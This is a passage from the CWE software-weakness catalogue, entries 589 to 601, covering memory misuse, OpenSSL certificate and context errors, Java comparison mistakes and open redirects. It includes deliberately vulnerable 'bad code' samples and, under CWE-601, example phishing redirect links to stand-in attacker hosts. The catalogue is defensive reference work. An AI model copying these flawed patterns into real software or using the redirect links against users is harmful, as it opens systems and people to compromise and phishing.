ChildOf		704	Incorrect Type Conversion or Cast	1000	1104
ChildOf		758	Reliance on Undefined, Unspecified, or Implementation-Defined Behavior	1000	1153
ChildOf		971	SFP Secondary Cluster: Faulty Pointer Use	888	1381

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
Software Fault Patterns	SFP7	Faulty Pointer Use

# CWE-589: Call to Non-ubiquitous API

Weakness ID: 589 (*Weakness Variant*)

Status: Incomplete

## Description

### Summary

The software uses an API function that does not exist on all versions of the target platform. This could cause portability problems or inconsistencies that allow denial of service or other consequences.

### Extended Description

Some functions that offer security features supported by the OS are not available on all versions of the OS in common use. Likewise, functions are often deprecated or made obsolete for security reasons and should not be used.

## Time of Introduction

- Architecture and Design
- Implementation

## Common Consequences

### Other

### Quality degradation

## Potential Mitigations

### Implementation

Always test your code on any platform on which it is targeted to run on.

### Testing

Test your code on the newest and oldest platform on which it is targeted to run on.

### Testing

Develop a system to test for API functions that are not portable.

## Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		227	Improper Fulfillment of API Contract ('API Abuse')	699	418
ChildOf		474	Use of Function with Inconsistent Implementations	1000	797
ChildOf		850	CERT Java Secure Coding Section 05 - Methods (MET)	844	1293
ChildOf		858	CERT Java Secure Coding Section 13 - Serialization (SER)	844	1297
ChildOf		1001	SFP Secondary Cluster: Use of an Improper API	888	1403

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT Java Secure Coding	MET02-J	Do not use deprecated or obsolete classes or methods
CERT Java Secure Coding	SER00-J	Maintain serialization compatibility during class evolution

Mapped Taxonomy Name	Node ID	Mapped Node Name
Software Fault Patterns	SFP3	Use of an improper API

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
96	Block Access to Libraries	

## CWE-590: Free of Memory not on the Heap

Weakness ID: 590 (Weakness Variant)

Status: Incomplete

### Description

#### Summary

The application calls `free()` on a pointer to memory that was not allocated using associated heap allocation functions such as `malloc()`, `calloc()`, or `realloc()`.

#### Extended Description

When `free()` is called on an invalid pointer, the program's memory management data structures may become corrupted. This corruption can cause the program to crash or, in some circumstances, an attacker may be able to cause `free()` to operate on controllable memory locations to modify critical program variables or execute code.

### Time of Introduction

- Implementation

### Common Consequences

#### Integrity

#### Confidentiality

#### Availability

#### Execute unauthorized code or commands

#### Modify memory

There is the potential for arbitrary code execution with privileges of the vulnerable program via a "write, what where" primitive.

If pointers to memory which hold user information are freed, a malicious user will be able to write 4 bytes anywhere in memory.

### Demonstrative Examples

In this example, an array of `record_t` structs, `bar`, is allocated automatically on the stack as a local variable and the programmer attempts to call `free()` on the array. The consequences will vary based on the implementation of `free()`, but it will not succeed in deallocating the memory.

#### C Example:

*Bad Code*

```
void foo(){
    record_t bar[MAX_SIZE];
    /* do something interesting with bar */
    ...
    free(bar);
}
```

This example shows the array allocated globally, as part of the data segment of memory and the programmer attempts to call `free()` on the array.

#### C Example:

*Bad Code*

```
record_t bar[MAX_SIZE]; //Global var
void foo(){
    /* do something interesting with bar */
    ...
    free(bar);
}
```

Instead, if the programmer wanted to dynamically manage the memory, `malloc()` or `calloc()` should have been used.

*Good Code*

```
void foo(){
```

```
record_t *bar = (record_t*)malloc(MAX_SIZE*sizeof(record_t));
/* do something interesting with bar */
...
free(bar);
}
```

Additionally, you can pass global variables to free() when they are pointers to dynamically allocated memory.

Good Code

```
record_t *bar; //Global var
void foo(){
    bar = (record_t*)malloc(MAX_SIZE*sizeof(record_t));
    /* do something interesting with bar */
    ...
    free(bar);
}
```

## Potential Mitigations

### Implementation

Only free pointers that you have called malloc on previously. This is the recommended solution. Keep track of which pointers point at the beginning of valid chunks and free them only once.

### Implementation

Before freeing a pointer, the programmer should make sure that the pointer was previously allocated on the heap and that the memory belongs to the programmer. Freeing an unallocated pointer will cause undefined behavior in the program.

### Architecture and Design

#### Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, glibc in Linux provides protection against free of invalid pointers.

### Architecture and Design

Use a language that provides abstractions for memory allocation and deallocation.

### Testing

Use a tool that dynamically detects memory management problems, such as valgrind.

## Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
CanPrecede		123	Write-what-where Condition	1000	248
ChildOf		399	Resource Management Errors	<b>699</b>	686
ChildOf		742	CERT C Secure Coding Section 08 - Memory Management (MEM)	<b>734</b>	1134
ChildOf		762	Mismatched Memory Management Routines	<b>1000</b>	1162
ChildOf		876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	<b>868</b>	1314
ChildOf		969	SFP Secondary Cluster: Faulty Memory Release	<b>888</b>	1380

## Affected Resources

- Memory

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT C Secure Coding	MEM34-C	Only free memory allocated dynamically
CERT C++ Secure Coding	MEM34-CPP	Only free memory allocated dynamically
Software Fault Patterns	SFP12	Faulty Memory Release

## References

"Valgrind". < <http://valgrind.org/> >.

## Maintenance Notes

In C++, if the new operator was used to allocate the memory, it may be allocated with the malloc(), calloc() or realloc() family of functions in the implementation. Someone aware of this behavior might choose to map this problem to CWE-590 or to its parent, CWE-762, depending on their perspective.

## CWE-591: Sensitive Data Storage in Improperly Locked Memory

Weakness ID: 591 (Weakness Variant)

Status: Draft

### Description

#### Summary

The application stores sensitive data in memory that is not locked, or that has been incorrectly locked, which might cause the memory to be written to swap files on disk by the virtual memory manager. This can make the data more accessible to external actors.

#### Extended Description

On Windows systems the VirtualLock function can lock a page of memory to ensure that it will remain present in memory and not be swapped to disk. However, on older versions of Windows, such as 95, 98, or Me, the VirtualLock() function is only a stub and provides no protection. On POSIX systems the mlock() call ensures that a page will stay resident in memory but does not guarantee that the page will not appear in the swap. Therefore, it is unsuitable for use as a protection mechanism for sensitive data. Some platforms, in particular Linux, do make the guarantee that the page will not be swapped, but this is non-standard and is not portable. Calls to mlock() also require supervisor privilege. Return values for both of these calls must be checked to ensure that the lock operation was actually successful.

#### Time of Introduction

- Implementation

#### Common Consequences

##### Confidentiality

Read application data

Read memory

Sensitive data that is written to a swap file may be exposed.

#### Potential Mitigations

##### Architecture and Design

Identify data that needs to be protected from swapping and choose platform-appropriate protection mechanisms.

##### Implementation

Check return values to ensure locking operations are successful.

#### Relationships

Nature	Type	ID	Name	Fit	Page
ChildOf		413	Improper Resource Locking		699 1000 713
ChildOf		633	Weaknesses that Affect Memory		631 981
ChildOf		729	OWASP Top Ten 2004 Category A8 - Insecure Storage		711 1119
ChildOf		742	CERT C Secure Coding Section 08 - Memory Management (MEM)		734 1134
ChildOf		876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)		868 1314
ChildOf		963	SFP Secondary Cluster: Exposed Data		888 1377

#### Affected Resources

- Memory

#### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A8	CWE More Specific	Insecure Storage

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	MEM06-C		Ensure that sensitive data is not written out to disk
CERT C++ Secure Coding	MEM06-CPP		Ensure that sensitive data is not written out to disk
Software Fault Patterns	SFP23		Exposed Data

## CWE-592: Authentication Bypass Issues

Weakness ID: 592 (Weakness Class)

Status: Incomplete

### Description

#### Summary

The software does not properly perform authentication, allowing it to be bypassed through various methods.

#### Time of Introduction

- Architecture and Design
- Implementation
- Operation












#### Common Consequences

##### Access Control

##### Bypass protection mechanism

##### Gain privileges / assume identity

#### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		287	Improper Authentication	<b>699</b> <b>1000</b>	507
ChildOf		724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	<b>711</b>	1117
ChildOf		947	SFP Secondary Cluster: Authentication Bypass	<b>888</b>	1371
ParentOf		288	<i>Authentication Bypass Using an Alternate Path or Channel</i>	<b>699</b> <b>1000</b>	512
ParentOf		289	<i>Authentication Bypass by Alternate Name</i>	<b>699</b> <b>1000</b>	513
ParentOf		290	<i>Authentication Bypass by Spoofing</i>	<b>699</b> <b>1000</b>	514
ParentOf		294	<i>Authentication Bypass by Capture-replay</i>	<b>699</b> <b>1000</b>	520
ParentOf		302	<i>Authentication Bypass by Assumed-Immutable Data</i>	<b>699</b> <b>1000</b>	533
ParentOf		305	<i>Authentication Bypass by Primary Weakness</i>	<b>699</b> <b>1000</b>	536
ParentOf		593	<i>Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created</i>	<b>699</b> <b>1000</b>	934
PeerOf		603	<i>Use of Client-Side Authentication</i>	<b>1000</b>	950

#### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A3	CWE More Specific	Broken Authentication and Session Management

#### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
115	Authentication Bypass	

#### References

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 2, "Untrustworthy Credentials", Page 37.. 1st Edition. Addison Wesley. 2006.

# CWE-593: Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created

Weakness ID: 593 (Weakness Variant) Status: Draft

## Description

### Summary

The software modifies the SSL context after connection creation has begun.

### Extended Description

If the program modifies the SSL\_CTX object after creating SSL objects from it, there is the possibility that older SSL objects created from the original context could all be affected by that change.

### Time of Introduction

- Architecture and Design
- Implementation

### Common Consequences

#### Access Control

#### Bypass protection mechanism

No authentication takes place in this process, bypassing an assumed protection of encryption.

#### Confidentiality

#### Read application data

The encrypted communication between a user and a trusted host may be subject to a "man in the middle" sniffing attack.

### Demonstrative Examples

#### C Example:

*Bad Code*

```
#define CERT "secret.pem"
#define CERT2 "secret2.pem"
int main(){
    SSL_CTX *ctx;
    SSL *ssl;
    init_OpenSSL();
    seed_prng();
    ctx = SSL_CTX_new(SSLv23_method());
    if (SSL_CTX_use_certificate_chain_file(ctx, CERT) != 1)
        int_error("Error loading certificate from file");
    if (SSL_CTX_use_PrivateKey_file(ctx, CERT, SSL_FILETYPE_PEM) != 1)
        int_error("Error loading private key from file");
    if (!(ssl = SSL_new(ctx)))
        int_error("Error creating an SSL context");
    if ( SSL_CTX_set_default_passwd_cb(ctx, "new default password" != 1))
        int_error("Doing something which is dangerous to do anyways");
    if (!(ssl2 = SSL_new(ctx)))
        int_error("Error creating an SSL context");
}
```

### Potential Mitigations

#### Architecture and Design

Use a language which provides a cryptography framework at a higher level of abstraction.

#### Implementation

Most SSL\_CTX functions have SSL counterparts that act on SSL-type objects.

#### Implementation

Applications should set up an SSL\_CTX completely, before creating SSL objects from it.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf		592	Authentication Bypass Issues	699	933
ChildOf		666	Operation on Resource in Wrong Phase of Lifetime	1000	1031
ChildOf		948	SFP Secondary Cluster: Digital Certificate	888	1372



## Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
94	Man in the Middle Attack	

## CWE-594: J2EE Framework: Saving Unserializable Objects to Disk

Weakness ID: 594 (Weakness Variant)

Status: Incomplete

## Description

**Summary**

When the J2EE container attempts to write unserializable objects to disk there is no guarantee that the process will complete successfully.

**Extended Description**

In heavy load conditions, most J2EE application frameworks flush objects to disk to manage memory requirements of incoming requests. For example, session scoped objects, and even application scoped objects, are written to disk when required. While these application frameworks do the real work of writing objects to disk, they do not enforce that those objects be serializable, thus leaving the web application vulnerable to crashes induced by serialization failure. An attacker may be able to mount a denial of service attack by sending enough requests to the server to force the web application to save objects to disk.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms****Languages**

- Java

**Common Consequences****Integrity****Modify application data**

Data represented by unserializable objects can be corrupted.

**Availability****DoS: crash / exit / restart**

Non-serializability of objects can lead to system crash.

**Demonstrative Examples**

In the following Java example, a Customer Entity JavaBean provides access to customer information in a database for a business application. The Customer Entity JavaBean is used as a session scoped object to return customer information to a Session EJB.

**Java Example:***Bad Code*

```
@Entity
public class Customer {
    private String id;
    private String firstName;
    private String lastName;
    private Address address;
    public Customer() {
    }
    public Customer(String id, String firstName, String lastName) {...}
    @Id
    public String getCustomerId() {...}
    public void setCustomerId(String id) {...}
    public String getFirstName() {...}
    public void setFirstName(String firstName) {...}
    public String getLastName() {...}
    public void setLastName(String lastName) {...}
    @OneToOne()
    public Address getAddress() {...}
    public void setAddress(Address address) {...}
}
```

}

However, the Customer Entity JavaBean is an unserialized object which can cause serialization failure and crash the application when the J2EE container attempts to write the object to the system. Session scoped objects must implement the Serializable interface to ensure that the objects serialize properly.



**Java Example:***Good Code*

```
public class Customer implements Serializable {...}
```

**Potential Mitigations****Architecture and Design****Implementation**

All objects that become part of session and application scope must implement the java.io.Serializable interface to ensure serializability of containing objects.

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		485	Insufficient Encapsulation	<b>699</b>	819
ChildOf		998	SFP Secondary Cluster: Glitch in Computation	<b>888</b>	1393

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
Software Fault Patterns	SFP1	Glitch in computation

## CWE-595: Comparison of Object References Instead of Object Contents

**Weakness ID:** 595 (*Weakness Base*)**Status:** Incomplete**Description****Summary**

The program compares object references instead of the contents of the objects themselves, preventing it from detecting equivalent objects.

**Time of Introduction**

- Implementation

**Applicable Platforms****Languages**

- Java
- Language-independent

**Common Consequences****Other****Other****Varies by context**

This weakness can lead to erroneous results that can cause unexpected application behaviors.

**Demonstrative Examples****Example 1:**

In the example below, two Java String objects are declared and initialized with the same string values and an if statement is used to determine if the strings are equivalent.

**Java Example:***Bad Code*

```
String str1 = new String("Hello");
String str2 = new String("Hello");
if (str1 == str2) {
    System.out.println("str1 == str2");
}
```

However, the if statement will not be executed as the strings are compared using the "==" operator. For Java objects, such as String objects, the "==" operator compares object references,

not object values. While the two String objects above contain the same string values, they refer to different object references, so the `System.out.println` statement will not be executed. To compare object values, the previous code could be modified to use the `equals` method:

Good Code

```
if (str1.equals(str2)) {
    System.out.println("str1 equals str2");
}
```

### Example 2:

In the following Java example, two `BankAccount` objects are compared in the `isSameAccount` method using the `==` operator.

#### Java Example:

Bad Code

```
public boolean isSameAccount(BankAccount accountA, BankAccount accountB) {
    return accountA == accountB;
}
```

Using the `==` operator to compare objects may produce incorrect or deceptive results by comparing object references rather than values. The `equals()` method should be used to ensure correct results or objects should contain a member variable that uniquely identifies the object.

The following example shows the use of the `equals()` method to compare the `BankAccount` objects and the next example uses a class `get` method to retrieve the bank account number that uniquely identifies the `BankAccount` object to compare the objects.

#### Java Example:

Good Code

```
public boolean isSameAccount(BankAccount accountA, BankAccount accountB) {
    return accountA.equals(accountB);
}
```

## Potential Mitigations








### Implementation

Use the `equals()` method to compare objects instead of the `==` operator. If using `==`, it is important for performance reasons that your objects are created by a static factory, not by a constructor.

### Other Notes

This problem can cause unexpected application behavior. Comparing objects using `==` usually produces deceptive results, since the `==` operator compares object references rather than values. To use `==` on a string, the programmer has to make sure that these objects are unique in the program, that is, that they don't have the `equals` method defined or have a static factory that produces unique objects.

## Relationships

Nature	Type	ID	Name	✓	Page
ChildOf		171	Cleansing, Canonicalization, and Comparison Errors	699	332
ChildOf		569	Expression Issues	<b>699</b>	906
ChildOf		697	Insufficient Comparison	<b>1000</b>	1078
ChildOf		847	CERT Java Secure Coding Section 02 - Expressions (EXP)	<b>844</b>	1292
ChildOf		977	SFP Secondary Cluster: Design	<b>888</b>	1382
ParentOf		597	<i>Use of Wrong Operator in String Comparison</i>	<b>699</b> <b>1000</b>	938
MemberOf		884	<i>CWE Cross-section</i>	<b>884</b>	1319

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT Java Secure Coding	EXP02-J	Use the two-argument <code>Arrays.equals()</code> method to compare the contents of arrays
CERT Java Secure Coding	EXP02-J	Use the two-argument <code>Arrays.equals()</code> method to compare the contents of arrays
CERT Java Secure Coding	EXP03-J	Do not use the equality operators when comparing values of boxed primitives

## CWE-596: Incorrect Semantic Object Comparison

Weakness ID: 596 (Weakness Base)

Status: Incomplete

### Description

#### Summary

The software does not correctly compare two objects based on their conceptual content.

#### Time of Introduction

- Implementation

#### Common Consequences

Other

Other

#### Detection Methods

##### Manual Static Analysis

Requires domain-specific knowledge to determine if the comparison is incorrect.

#### Demonstrative Examples

For example, let's say you have two truck objects that you want to compare for equality. Truck objects are defined to be the same if they have the same make, the same model, and were manufactured in the same year. A Semantic Incorrect Object Comparison would occur if only two of the three factors were checked for equality. So if only make and model are compared and the year is ignored, then you have an incorrect object comparison.

##### Java Example:

*Bad Code*

```
public class Truck {
    private String make;
    private String model;
    private int year;
    public boolean equals(Object o) {
        if (o == null) return false;
        if (o == this) return true;
        if (!(o instanceof Truck)) return false;
        Truck t = (Truck) o;
        return (this.make.equals(t.getMake()) && this.model.equals(t.getModel()));
    }
}
```

#### Relationships

Nature	Type	ID	Name	V	Page
ChildOf		171	Cleansing, Canonicalization, and Comparison Errors	699	332
ChildOf		569	Expression Issues	699	906
ChildOf		697	Insufficient Comparison	1000	1078
ChildOf		840	Business Logic Errors	699	1283
ChildOf		977	SFP Secondary Cluster: Design	888	1382

## CWE-597: Use of Wrong Operator in String Comparison

Weakness ID: 597 (Weakness Variant)

Status: Draft

### Description

#### Summary

The product uses the wrong operator when comparing a string, such as using "==" when the equals() method should be used instead.

#### Extended Description

In Java, using == or != to compare two strings for equality actually compares two objects for equality, not their values. Chances are good that the two references will never be equal. While this weakness often only affects program correctness, if the equality is used for a security decision, it could be leveraged to affect program security.

#### Time of Introduction

- Implementation

## Common Consequences

Other

Other

## Demonstrative Examples

In the example below, two Java String objects are declared and initialized with the same string values and an if statement is used to determine if the strings are equivalent.

### Java Example:

*Bad Code*

```
String str1 = new String("Hello");
String str2 = new String("Hello");
if (str1 == str2) {
    System.out.println("str1 == str2");
}
```

However, the if statement will not be executed as the strings are compared using the "==" operator. For Java objects, such as String objects, the "==" operator compares object references, not object values. While the two String objects above contain the same string values, they refer to different object references, so the System.out.println statement will not be executed. To compare object values, the previous code could be modified to use the equals method:

*Good Code*

```
if (str1.equals(str2)) {
    System.out.println("str1 equals str2");
}
```

## Potential Mitigations

### Implementation

High

Use equals() to compare strings.

## Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf	<b>C</b>	133	String Errors		699 277
ChildOf	<b>B</b>	480	Use of Incorrect Operator		699 809 1000
ChildOf	<b>B</b>	595	Comparison of Object References Instead of Object Contents	<b>699</b>	936 <b>1000</b>
ChildOf	<b>C</b>	847	CERT Java Secure Coding Section 02 - Expressions (EXP)	<b>844</b>	1292
ChildOf	<b>C</b>	998	SFP Secondary Cluster: Glitch in Computation	<b>888</b>	1393

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT Java Secure Coding	EXP03-J	Do not use the equality operators when comparing values of boxed primitives
CERT Java Secure Coding	EXP03-J	Do not use the equality operators when comparing values of boxed primitives
Software Fault Patterns	SFP1	Glitch in computation

## References

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 6, "Typos", Page 289.. 1st Edition. Addison Wesley. 2006.

# CWE-598: Information Exposure Through Query Strings in GET Request

Weakness ID: 598 (*Weakness Variant*)

Status: Draft

## Description

### Summary

The web application uses the GET method to process requests that contain sensitive information, which can expose that information through the browser's history, Referers, web logs, and other sources.

**Time of Introduction**

- Architecture and Design
- Implementation




**Common Consequences****Confidentiality****Read application data**

At a minimum, attackers can garner information from query strings that can be utilized in escalating their method of attack, such as information about the internal workings of the application or database column names. Successful exploitation of query string parameter vulnerabilities could lead to an attacker impersonating a legitimate user, obtaining proprietary data, or simply executing actions not intended by the application developers.

**Potential Mitigations****Implementation**

When sensitive information is sent, use of the POST method is recommended (e.g. registration form).

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		200	Information Exposure	<b>699</b>	384
				<b>1000</b>	
ChildOf		729	OWASP Top Ten 2004 Category A8 - Insecure Storage	<b>711</b>	1119
ChildOf		963	SFP Secondary Cluster: Exposed Data	<b>888</b>	1377

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
Software Fault Patterns	SFP23	Exposed Data

## CWE-599: Missing Validation of OpenSSL Certificate

Weakness ID: 599 (*Weakness Variant*)

Status: Incomplete

**Description****Summary**

The software uses OpenSSL and trusts or uses a certificate without using the `SSL_get_verify_result()` function to ensure that the certificate satisfies all necessary security requirements.

**Extended Description**

This could allow an attacker to use an invalid certificate to claim to be a trusted host, use expired certificates, or conduct other attacks that could be detected if the certificate is properly validated.

**Time of Introduction**

- Architecture and Design
- Implementation

**Common Consequences****Confidentiality****Read application data**

The data read may not be properly secured, it might be viewed by an attacker.

**Access Control****Bypass protection mechanism****Gain privileges / assume identity**

Trust afforded to the system in question may allow for spoofing or redirection attacks.

## Access Control

### Gain privileges / assume identity

If the certificate is not checked, it may be possible for a redirection or spoofing attack to allow a malicious host with a valid certificate to provide data under the guise of a trusted host. While the attacker in question may have a valid certificate, it may simply be a valid certificate for a different site. In order to ensure data integrity, we must check that the certificate is valid, and that it pertains to the site we wish to access.

### Demonstrative Examples

The following OpenSSL code ensures that the host has a certificate.

#### C Example:

*Bad Code*

```
if (cert = SSL_get_peer_certificate(ssl)) {
    // got certificate, host can be trusted
    //foo=SSL_get_verify_result(ssl);
    //if (X509_V_OK==foo) ...
}
```

Note that the code does not call `SSL_get_verify_result(ssl)`, which effectively disables the validation step that checks the certificate.

### Potential Mitigations



#### Architecture and Design

Ensure that proper authentication is included in the system design.

#### Implementation

Understand and properly implement all checks necessary to ensure the identity of entities involved in encrypted communications.

### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		295	Improper Certificate Validation	<b>699</b>	521
ChildOf		948	SFP Secondary Cluster: Digital Certificate	<b>888</b>	1372

### Relationship Notes

CWE-295 and CWE-599 are very similar, although CWE-599 has a more narrow scope that is only applied to OpenSSL certificates. As a result, other children of CWE-295 can be regarded as children of CWE-599 as well. CWE's use of one-dimensional hierarchical relationships is not well-suited to handle different kinds of abstraction relationships based on concepts like types of resources ("OpenSSL certificate" as a child of "any certificate") and types of behaviors ("not validating expiration" as a child of "improper validation").

## CWE-600: Uncaught Exception in Servlet

Weakness ID: 600 (*Weakness Base*)

Status: Draft

### Description

#### Summary

The Servlet does not catch all exceptions, which may reveal sensitive debugging information.

#### Extended Description

When a Servlet throws an exception, the default error response the Servlet container sends back to the user typically includes debugging information. This information is of great value to an attacker. For example, a stack trace might show the attacker a malformed SQL query string, the type of database being used, and the version of the application container. This information enables the attacker to target known vulnerabilities in these components.

### Alternate Terms

#### Missing Catch Block

#### Time of Introduction

- Implementation

#### Common Consequences



**Confidentiality****Availability****Read application data****DoS: crash / exit / restart****Demonstrative Examples**

In the following method a DNS lookup failure will cause the Servlet to throw an exception.

**Java Example:***Bad Code*

```
protected void doPost (HttpServletRequest req, HttpServletResponse res) throws IOException {
    String ip = req.getRemoteAddr();
    InetAddress addr = InetAddress.getByName(ip);
    ...
    out.println("hello " + addr.getHostName());
}
```

**Potential Mitigations****Implementation**

Implement Exception blocks to handle all types of Exceptions.

**Relationships**

Nature	Type	ID	Name		Page
CanPrecede		209	Information Exposure Through an Error Message		397
ChildOf		248	Uncaught Exception	<b>1000</b>	438
ChildOf		388	Error Handling	<b>699</b>	669
PeerOf		390	Detection of Error Condition Without Action	1000	671
ChildOf		851	CERT Java Secure Coding Section 06 - Exceptional Behavior (ERR)	<b>844</b>	1294
ChildOf		962	SFP Secondary Cluster: Unchecked Status Condition	<b>888</b>	1376

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT Java Secure Coding	ERR01-J	Do not allow exceptions to expose sensitive information
Software Fault Patterns	SFP4	Unchecked Status Condition

**Maintenance Notes**

The "Missing Catch Block" concept is probably broader than just Servlets, but the broader concept is not sufficiently covered in CWE.

## CWE-601: URL Redirection to Untrusted Site ('Open Redirect')

**Weakness ID:** 601 (*Weakness Variant*)

**Status:** Draft

**Description****Summary**

A web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a Redirect. This simplifies phishing attacks.

**Extended Description**

An http parameter may contain a URL value and could cause the web application to redirect the request to the specified URL. By modifying the URL value to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials. Because the server name in the modified link is identical to the original site, phishing attempts have a more trustworthy appearance.

**Alternate Terms****Open Redirect****Cross-site Redirect****Cross-domain Redirect****Time of Introduction**

- Architecture and Design

- Implementation

### Applicable Platforms

#### Languages

- Language-independent

#### Architectural Paradigms

- Web-based

### Common Consequences

#### Access Control

#### Bypass protection mechanism

#### Gain privileges / assume identity

The user may be redirected to an untrusted page that contains malware which may then compromise the user's machine. This will expose the user to extensive risk and the user's interaction with the web server may also be compromised if the malware conducts keylogging or other attacks that steal credentials, personally identifiable information (PII), or other important data.

#### Access Control

#### Confidentiality

#### Other

#### Bypass protection mechanism

#### Gain privileges / assume identity

#### Other

The user may be subjected to phishing attacks by being redirected to an untrusted page. The phishing attack may point to an attacker controlled web page that appears to be a trusted web site. The phishers may then steal the user's credentials and then use these credentials to access the legitimate web site.

### Likelihood of Exploit

Low to Medium

### Detection Methods

#### Manual Static Analysis

#### High

Since this weakness does not typically appear frequently within a single software package, manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all potentially-vulnerable operations can be assessed within limited time constraints.

#### Automated Dynamic Analysis

Automated black box tools that supply URLs to every input may be able to spot Location header modifications, but test case coverage is a factor, and custom redirects may not be detected.

#### Automated Static Analysis

Automated static analysis tools may not be able to determine whether input influences the beginning of a URL, which is important for reducing false positives.

#### Other

Whether this issue poses a vulnerability will be subject to the intended behavior of the application. For example, a search engine might intentionally provide redirects to arbitrary URLs.

#### Automated Static Analysis - Binary / Bytecode

#### SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Binary Weakness Analysis - including disassembler + source code weakness analysis

**Dynamic Analysis with automated results interpretation****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

- Web Application Scanner
- Web Services Scanner
- Database Scanners

**Dynamic Analysis with manual results interpretation****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

- Fuzz Tester
- Framework-based Fuzzer

**Manual Static Analysis - Source Code****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

- Manual Source Code Review (not inspections)

**Automated Static Analysis - Source Code****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

- Source code Weakness Analyzer
- Context-configured Source Code Weakness Analyzer

**Architecture / Design Review****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

- Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

- Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

**Demonstrative Examples****Example 1:**

The following code obtains a URL from the query string and then redirects the user to that URL.

**PHP Example:***Bad Code*

```
$redirect_url = $_GET['url'];
header("Location: " . $redirect_url);
```

The problem with the above code is that an attacker could use this page as part of a phishing scam by redirecting users to a malicious site. For example, assume the above code is in the file example.php. An attacker could supply a user with the following link:

*Attack*

```
http://example.com/example.php?url=http://malicious.example.com
```

The user sees the link pointing to the original trusted site (example.com) and does not realize the redirection that could take place.

**Example 2:**

The following code is a Java servlet that will receive a GET request with a url parameter in the request to redirect the browser to the address specified in the url parameter. The servlet will retrieve the url parameter value from the request and send a response to redirect the browser to the url address.

**Java Example:**

Bad Code

```
public class RedirectServlet extends HttpServlet {
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException,
        IOException {
        String query = request.getQueryString();
        if (query.contains("url")) {
            String url = request.getParameter("url");
            response.sendRedirect(url);
        }
    }
}
```

The problem with this Java servlet code is that an attacker could use the RedirectServlet as part of a e-mail phishing scam to redirect users to a malicious site. An attacker could send an HTML formatted e-mail directing the user to log into their account by including in the e-mail the following link:

**HTML Example:**

Attack

```
<a href="http://bank.example.com/redirect?url=http://attacker.example.net">Click here to log in</a>
```

The user may assume that the link is safe since the URL starts with their trusted bank, bank.example.com. However, the user will then be redirected to the attacker's web site (attacker.example.net) which the attacker may have made to appear very similar to bank.example.com. The user may then unwittingly enter credentials into the attacker's web page and compromise their bank account. A Java servlet should never redirect a user to a URL without verifying that the redirect address is a trusted site.

**Observed Examples**

Reference	Description
CVE-2005-4206	URL parameter loads the URL into a frame and causes it to appear to be part of a valid page.
CVE-2008-2052	Open redirect vulnerability in the software allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL in the proper parameter.
CVE-2008-2951	An open redirect vulnerability in the search script in the software allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL as a parameter to the proper function.

**Potential Mitigations****Implementation****Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Use a whitelist of approved URLs or domains to be used for redirection.

**Architecture and Design**

